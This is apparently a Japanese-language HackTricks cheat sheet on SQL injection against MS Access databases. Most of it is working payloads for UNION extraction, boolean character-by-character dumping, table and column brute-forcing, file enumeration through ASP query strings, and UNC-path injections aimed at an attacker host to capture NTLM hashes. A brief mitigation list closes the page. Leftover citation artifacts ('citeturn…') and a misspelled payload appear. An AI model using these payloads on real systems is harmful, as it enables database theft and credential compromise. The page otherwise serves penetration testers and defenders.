MS Access SQL Injection

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

オンラインプレイグラウンド

DBの制限

文字列の連結

文字列の連結は & (%26) および + (%2b) 文字を使用して可能です。

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

コメント

MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです:

sql
1' union select 1,2 from table%00

クエリの構文を修正することもできます。

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

スタッククエリ

サポートされていません。

LIMIT

LIMIT 演算子は 実装されていません。ただし、TOP 演算子を使用して最初の N テーブル行に SELECT クエリの結果を制限することは可能ですTOP は、返される行数を表す整数を引数として受け取ります。

sql
1' UNION SELECT TOP 3 attr FROM table%00

Just like TOP you can use LAST which will get the rows from the end.

UNION Queries/Sub queries

SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思うでしょう。MS Accessでは、サブクエリや追加のクエリではFROMを指定する必要があります
したがって、UNION SELECTUNION ALL SELECT、または条件内の括弧で囲まれたSELECTを実行したい場合は、常に有効なテーブル名を持つFROMを指定する必要があります
そのため、有効なテーブル名を知っておく必要があります。

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます。

MS Access'1'=2='3'='asd'=false のような 奇妙な構文 を許可します。通常、SQLインジェクションは WHERE 句の中にあるため、これを悪用できます。

MS Access データベースに SQLi があり、1 つの カラム名が username であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのウェブアプリの異なる応答を確認し、Mid 関数を使用して部分文字列を取得することで、ブールインジェクション を使用してコンテンツを抽出する可能性があります。

sql
'=(Mid(username,1,3)='adm')='

テーブルの名前カラムを知っている場合、MidLAST、およびTOPの組み合わせを使用して、ブールSQLiを介してすべての情報を漏洩させることができます:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

テーブル名のブルートフォース

チェイニングイコール技術を使用すると、次のようにテーブル名をブルートフォースすることもできます:

sql
'=(select+top+1+'lala'+from+<table_name>)='

より伝統的な方法を使用することもできます:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

カラム名のブルートフォース

現在のカラム名をブルートフォースすることができます。チェイニングイコールトリックを使用して:

sql
'=column_name='

グループ化を使用して:

sql
-1' GROUP BY column_name%00

別のテーブルのカラム名をブルートフォースすることもできます:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

データのダンプ

私たちはすでにチェイニングイコール技術 を使用して現在および他のテーブルからデータをダンプする方法について議論しました。しかし、他にも方法があります:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10オペレーターを利用することで、最初の10件の結果を選択することが可能です。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MIDオペレーターを使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。

時間ベース(ブラインド)トリック

Jet/ACE SQL自体はネイティブの SLEEP() または WAITFOR 関数を提供しないため、従来の時間ベースのブラインドインジェクションは制限されています。しかし、エンジンに遅いか応答しないネットワークリソースにアクセスさせることで、測定可能な遅延を導入することは可能です。エンジンは結果を返す前にファイルを開こうとするため、HTTPレスポンスタイムは攻撃者が制御するホストへの往復遅延を反映します。

sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--

UNCパスを次のように指定します:

  • 高遅延リンクの背後にあるSMB共有
  • SYN-ACKの後にTCPハンドシェイクをドロップするホスト
  • ファイアウォールシンクホール

リモートルックアップによって導入される追加の秒数は、ブール条件のためのアウトオブバンドタイミングオラクルとして使用できます(例:注入された述語が真のときのみ遅いパスを選択)。Microsoftは、リモートデータベースの動作と関連するレジストリキルスイッチをKB5002984で文書化しています。 citeturn1search0

その他の興味深い関数

  • Mid('admin',1,1) 位置1から長さ1の部分文字列を取得(初期位置は1)
  • LEN('1234') 文字列の長さを取得
  • ASC('A') 文字のASCII値を取得
  • CHR(65) ASCII値から文字列を取得
  • IIF(1=1,'a','b') if then
  • COUNT(*) アイテムの数をカウント

テーブルの列挙

こちらから、テーブル名を取得するためのクエリを見ることができます:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

しかし、MSysObjects テーブルを読み取るアクセス権がない場合でも、SQLインジェクションを見つけることは非常に一般的です。

ファイルシステムアクセス

ウェブルートディレクトリのフルパス

ウェブルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。

http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Accessは、ウェブディレクトリのフルパスを含むエラーメッセージで応答します。

ファイル列挙

次の攻撃ベクターは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定されたファイルが存在する場合、MS Accessはデータベース形式が無効であることを通知するエラーメッセージをトリガーします:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

ファイルを列挙する別の方法は、データベース.table項目を指定することです指定されたファイルが存在する場合、MS Accessはデータベース形式エラーメッセージを表示します。

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdbファイル名の推測

**データベースファイル名(.mdb)**は、次のクエリで推測できます:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

ここで、name[i]は.mdbファイル名であり、realTableはデータベース内の存在するテーブルです。MS Accessは常にエラーメッセージをトリガーしますが、無効なファイル名と有効な.mdbファイル名を区別することは可能です。

リモートデータベースアクセスとNTLM資格情報の盗難(2023)

Jet 4.0以降、すべてのクエリは、IN '<path>'句を介して異なる .mdb/.accdbファイルにあるテーブルを参照できます:

sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';

ユーザー入力がINの後の部分(またはJOIN … IN / OPENROWSET / OPENDATASOURCE呼び出しに)連結されると、攻撃者は自分が制御するホストを指すUNCパスを指定できます。エンジンは次のことを行います:

  1. リモートデータベースを開くためにSMB / HTTPで認証を試みる;
  2. ウェブサーバーのNTLM資格情報を漏洩させる(強制認証);
  3. リモートファイルを解析する - 形式が不正または悪意のあるデータベースは、何度もパッチが当てられたJet/ACEメモリ破損バグを引き起こす可能性があります(例:CVE-2021-28455)。

実用的なインジェクションの例:

sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -

影響:

  • Net-NTLMv2 ハッシュのアウトオブバンド流出(リレーまたはオフラインクラッキングに使用可能)。
  • 新しい Jet/ACE パーサーバグが悪用されると、リモートコード実行の可能性があります。

緩和策(レガシー Classic ASP アプリでも推奨):

  • HKLM\Software\Microsoft\Jet\4.0\Engines(および同等の ACE パス)にレジストリ値 AllowQueryRemoteTables = 0 を追加します。これにより、Jet/ACE は \\ で始まるリモートパスを拒否します。
  • ネットワーク境界での SMB/WebDAV のアウトバウンドをブロックします。
  • IN 句内に入る可能性のあるクエリの任意の部分をサニタイズ/パラメータ化します。

強制認証ベクターは、2023年に Check Point Research によって再検討され、レジストリキーが存在しない場合、完全にパッチが適用された Windows Server でも依然として悪用可能であることが証明されました。 citeturn0search0

.mdb パスワードクラッカー

Access PassView は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする